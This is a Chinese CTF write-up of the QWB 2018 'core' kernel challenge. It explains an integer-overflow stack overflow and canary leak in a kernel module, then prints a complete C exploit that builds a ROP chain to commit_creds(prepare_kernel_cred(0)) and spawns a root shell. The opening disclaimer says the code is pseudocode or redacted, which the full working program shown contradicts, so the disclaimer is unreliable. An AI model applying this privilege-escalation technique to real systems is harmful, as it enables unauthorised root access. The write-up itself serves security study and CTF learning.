[强网杯2018]core
合规声明:本文仅用于安全研究与防御,全部实验在自建环境完成;代码为伪代码或已打码,不包含可直接复用的完整利用程序(PRD 3.7)。
[强网杯2018]core
这是我做出的第一道 kernel pwn 题目。
一、漏洞类型:栈溢出

上图为 ioctl 的结构。

在 core_copy_func 中,参数 a1 的类型为有符号数
当传入的 a1 为负数时,它能够顺利通过 if 检查。随后 a1 被用作 copy_from_user 的长度参数(被当作无符号的 size_t 使用),从而变成一个极大的值,最终造成内核栈溢出。

core_read 中用于读取数据的内核缓冲区偏移量 off 是用户可控的,我们可以泄露内核栈上的Canary。

以上为 core_write 的实现。
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
在 init 脚本中,/proc/sys/kernel/kptr_restrict 被设置为 1,这使得普通用户无法再通过 /proc/kallsyms 查看内核函数地址。
但关键在于它上面的这一行:
cat /proc/kallsyms > /tmp/kallsyms
完整的符号表被复制到了 /tmp/kallsyms 中,且该文件在重启后依然可读。
二、利用思路
-
- 修改
start.sh,将内存设为-m 256M;为了调试方便,建议设置nokaslr。 - 提取内核镜像:
~/extract-vmlinux ./bzImage > vmlinux注:题目自带的
vmlinux有问题,需要重新提取。 - 搜索 ROP gadget:
ROPgadget --binary ./vmlinux > gadgets.txt
- 修改
-
- 利用
core_ioctl的第二条指令设置off的值。 - 再通过
core_read把内核栈上的 Canary 读回用户态。
- 利用
-
- 拿到 Canary 后,通过
core_write在name中构造 ROP 链。 - 再调用
core_copy_func,借助整数溢出把 ROP 链复制进内核栈空间。 - ROP 的最终目标是执行
commit_creds(prepare_kernel_cred(0)),把当前进程的权限提升为 root。
- 拿到 Canary 后,通过
-
- 利用
swapgs+iretq从内核空间切回用户空间,并以 root 权限执行system('/bin/sh')。
- 利用

提权成功
三、Exploit
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
size_t user_cs, user_sp, user_ss, user_rflags;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_offset;
/* 保存用户态关键寄存器,供 iretq 返回时使用 */
void save_stats() {
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell() {
if (getuid()) {
exit(EXIT_FAILURE);
}
system("/bin/sh");
exit(EXIT_SUCCESS);
}
void core_read(int fd, char *buf) {
ioctl(fd, 0x6677889B, buf);
}
void core_off(int fd, size_t index) {
ioctl(fd, 0x6677889C, index);
}
void core_cpy(int fd, size_t bytes) {
ioctl(fd, 0x6677889A, bytes);
}
#define COMMIT_CREDS 0xffffffff8109c8e0
#define INIT_TASK 0xffffffff82010480
#define INIT_CRED 0xffffffff8203be90
#define PREPARE_KERNEL_CRED 0xffffffff8107ff85
#define POP_RDI 0xffffffff81000b2f
#define POP_RSI 0xffffffff810011d6
#define POP_RDX 0xffffffff810282f1
#define IRETQ 0xffffffff81050ac2
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RAX_RDI_JMP_RCX 0xffffffff811ae978
#define POP_RCX 0xffffffff81021e53
void exploitation() {
FILE *kallsyms_file;
int fd;
char buf[0x1000], type[0x20];
size_t canary;
size_t addr;
size_t rop_chain[0x100];
size_t i;
save_stats();
fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("Failed to open the /proc/core !");
exit(EXIT_FAILURE);
}
/* 从 /tmp/kallsyms 中解析内核符号地址 */
kallsyms_file = fopen("/tmp/kallsyms", "r");
if (kallsyms_file == NULL) {
puts("Failed to open the sym_table file");
exit(EXIT_FAILURE);
}
while (fscanf(kallsyms_file, "%lx%s%s", &addr, type, buf)) {
if (prepare_kernel_cred && commit_creds) {
break;
}
if (!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf("Successful to get the addr of commit_creds:\n%lx\n", commit_creds);
continue;
}
if (!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("Successful to get the addr of prepare_kernel_cred:\n%lx\n", prepare_kernel_cred);
continue;
}
}
/* 计算 KASLR 偏移 */
kernel_offset = commit_creds - COMMIT_CREDS;
/* 设置 off = 64,泄露内核栈上的 Canary */
core_off(fd, 64);
core_read(fd, buf);
canary = *(size_t *)buf;
printf("Got kernel stack canary: %lx\n", canary);
/* 构造 ROP 链:先填充 Canary */
for (i = 0; i < 10; i++) {
rop_chain[i] = canary;
}
rop_chain[i++] = kernel_offset + POP_RDI;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RCX + kernel_offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = MOV_RAX_RDI_JMP_RCX + kernel_offset;
rop_chain[i++] = SWAPGS_POPFQ_RET + kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + kernel_offset;
rop_chain[i++] = (size_t)get_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;
/* 通过 core_write 写入 ROP 链 */
write(fd, rop_chain, i * 8);
/* 触发整数溢出,把 ROP 链复制进内核栈 */
core_cpy(fd, 0xffffffffffff0000 | 0x100);
}
int main(int argc, char **argv) {
exploitation();
return 0;
}